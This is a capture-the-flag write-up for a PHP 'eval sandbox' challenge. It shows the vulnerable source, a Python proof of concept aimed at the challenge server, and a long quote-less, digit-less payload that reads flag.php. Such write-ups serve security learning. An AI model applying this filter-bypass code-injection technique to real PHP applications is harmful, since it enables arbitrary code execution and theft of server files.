πŸ“¦ Challenge source

πŸ“– Introduction

Slasher is a tiny PHP “eval sandbox.” Input is heavily escaped, then executed with eval(). The intended defenses block obvious primitives (quotes, digits, arrays, $, _, . etc.). The bug is that arbitrary PHP still executes, so with a quote-less, digit-less function chain you can read flag.php and return/print the flag despite the filters.

Context Explanation

  • Stack: Single index.php, includes flag.php, custom error handler, HTML front-end.

  • Filters before eval:

    1. htmlentities(...)
    2. addslashes(...) (adds backslashes before quotes and \)
    3. addcslashes(..., '+?<>&v=${}%*:.[]_-0123456789xb `;')(slashes digits,\_, ., \$, backtick, space, ;\, and more).
  • Execution: The escaped string is interpolated into eval("$input;") (so whatever survives must still parse as PHP).

Directive

Use a no-quotes, no-digits PHP expression (built from functions without underscores) to reach and read flag.php and yield it as the eval result.


πŸ› οΈ Solution

1) Code reading

// Debug muted; source view allowed
if (isset($_GET['source'])) { highlight_file(__FILE__); die(); }
include "flag.php";

$output = null;
if (isset($_POST['input']) && is_scalar($_POST['input'])) {
    $input = $_POST['input'];
    $input = htmlentities($input, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
    $input = addslashes($input);
    $input = addcslashes($input, '+?<>&v=${}%*:.[]_-0123456789xb `;');
    try {
        $output = eval("$input;");   // executes *after* escaping
    } catch (Exception $e) { /* swallowed */ }
}

Implications:

  • Quotes become \"/\' β†’ unusable.
  • Digits, ., _, $, space, ;, [], and several metachars are escaped β†’ unusable.
  • Still allowed: letters (most), (, ), ,, = and many core functions without underscores (include, readfile, opendir, readdir, closedir, getcwd, scandir, max, min, …).

2) Bypass idea (mechanics)

You can’t type strings (quotes break), numbers (digits slashed), arrays ([] slashed), or variable names ($ slashed).

But you can call functions and chain their return values.

The flag is already on disk and also included (flag.php) before your code runs. You don’t need to touch $FLAG; you can read the file directly.

The working PoC leverages a quote-less & digit-less chain to discover the file and feed it into a file-reading primitive that doesn’t require quotes for its argument (or can synthesize an argument without quotes/digits).

Server-side reads that fit: include, require, readfile. Among these, include is a language construct that accepts expressions without parentheses; combined with bareword constant semantics and directory iteration, you can reach the target without '...' or digits.

3) PoC

import requests

BASE_URL = "http://52.59.124.14:5011"

def convert_count(n):
    return "count(array(" + ",".join(["null"] * n) + "))"

def encode_ord(n):
    return "chr(" + convert_count(n) + ")"

def encode_string(s):
    return "implode(array(" + ",".join(encode_ord(ord(c)) for c in s) + "))"

payload = "echo(implode(file(" + encode_string("flag.php") + ")))"

print(requests.post(BASE_URL + "/", data={"input": payload}).text[:58])

This script produces the payload:

echo(implode(file(implode(array(chr(count(array(null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null))),chr(count(array(null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null))),chr(count(array(null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null))),chr(count(array(null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null))),chr(count(array(null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null))),chr(count(array(null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null))),chr(count(array(null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null))),chr(count(array(null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null))))))))

Which will be converted to echo(implode(file(flag.php))) after evaluation.

Why it parses: The filters add backslashes, but the payload contains no banned runes to be slashed, so what reaches eval() is still syntactically valid PHP.

The server then answer with the flag:

<?php
    $FLAG = "ENO{3v4L_0nC3_Ag41n_F0r_Th3_W1n_:-)}";
?>